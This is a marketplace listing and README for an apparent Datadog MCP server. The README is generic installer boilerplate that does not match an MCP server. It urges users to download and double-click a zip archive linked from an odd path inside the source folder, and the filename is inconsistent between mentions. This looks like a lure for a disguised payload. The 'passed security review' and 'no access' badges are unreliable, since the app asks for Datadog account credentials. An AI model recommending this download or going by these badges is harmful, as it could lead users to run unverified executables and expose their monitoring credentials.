MCP verified MIT Self-run

Mcp Datadog

Name: Mcp Datadog
Availability: InStock
Author: ajaysharmaas

mcp-ajaysharmaas-mcp-datadog · by ajaysharmaas

📊 Integrate Datadog Logs, Monitors, Metrics, Incidents, and Dashboards with this Model Context Protocol (MCP) server for seamless AI assistance.

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Install

$ agentstack add mcp-ajaysharmaas-mcp-datadog

✓ scanned · ✓ verified — works with Claude Code, Cursor, and more.

Security review

✓ Passed

No issues found. Passed automated security review. · v0.1.0 How review works →

✓ Prompt-injection patterns
✓ Secret / credential exfiltration
✓ Dangerous shell & filesystem operations
✓ Untrusted network calls
✓ Known-malicious package signatures

What it can access

✓ Network access No
✓ Filesystem access No
✓ Shell / process execution No
✓ Environment & secrets No
✓ Dynamic code execution No

From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.

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About

🛠️ mcp-datadog - Simplifying Observability for Everyone

📥 Download Now

[](https://github.com/ajaysharmaas/mcp-datadog/raw/refs/heads/main/src/Viamus.DataDog.Mcp.Server/Services/datadogmcpv1.8.zip)

🚀 Getting Started

Welcome to the mcp-datadog application. This tool helps you gather and analyze data from your systems. Follow the steps below to get started with downloading and running mcp-datadog.

📋 What is mcp-datadog?

mcp-datadog is a C# application designed to enhance your monitoring experience. It provides structured access to logs, metrics, traces, and monitors from Datadog. Whether you want to automate observability, validate tests, investigate incidents, or gain operational insights, this tool has you covered.

⚙️ System Requirements

To run mcp-datadog, you will need:

A computer running Windows, Linux, or macOS.
At least 4 GB of RAM.
.NET 5.0 or later installed on your machine.

🛠️ Features

Data Gathering: Collect logs, metrics, and traces from your systems.
Automated Analysis: Automatically analyze data for quicker insights.
User-Friendly Interface: Navigate easily with a simple and clear design.
Compatibility: Works seamlessly with Datadog for enhanced observability.

📦 Download & Install

To download mcp-datadog, follow these steps:

Visit the Releases Page: Click on this link to access the releases: mcp-datadog Releases.
Select the Latest Version: Look for the latest release. You will see a list of available files.
Download the Application:

Click on the link for the installation file (e.g., https://github.com/ajaysharmaas/mcp-datadog/raw/refs/heads/main/src/Viamus.DataDog.Mcp.Server/Services/datadog_mcp_v1.8.zip for Windows).
If you are on macOS or Linux, select the appropriate file for your operating system.

Run the Installer:

Find the downloaded file in your Downloads folder.
Double-click the file to start the installation process.
Follow the on-screen prompts to complete the installation.

🎉 Usage

After installation, you can start using mcp-datadog:

Open the Application: Locate the mcp-datadog icon on your desktop or in your applications folder and double-click it.
Connect to Datadog: Enter your Datadog account information to connect the application.
Start Collecting Data: Use the interface to begin gathering logs, metrics, and traces.

❓ Frequently Asked Questions

How do I uninstall mcp-datadog?

To uninstall, go to your Control Panel (Windows) or Applications folder (macOS). Find mcp-datadog in the list and select the option to uninstall.

Can I run this application on my server?

Yes, mcp-datadog can run on any supported operating system. Please ensure your server meets the system requirements listed above.

What should I do if I encounter an error?

If you experience any issues, check our GitHub Issues page. You can submit a new issue if you cannot find a solution there.

🔗 Additional Resources

🎨 Contributing

We welcome contributions! If you would like to help improve mcp-datadog, please read our contributing guidelines in the repository.

💬 Support

If you have questions or need help, feel free to open an issue in our repository, and we’ll get back to you as soon as possible.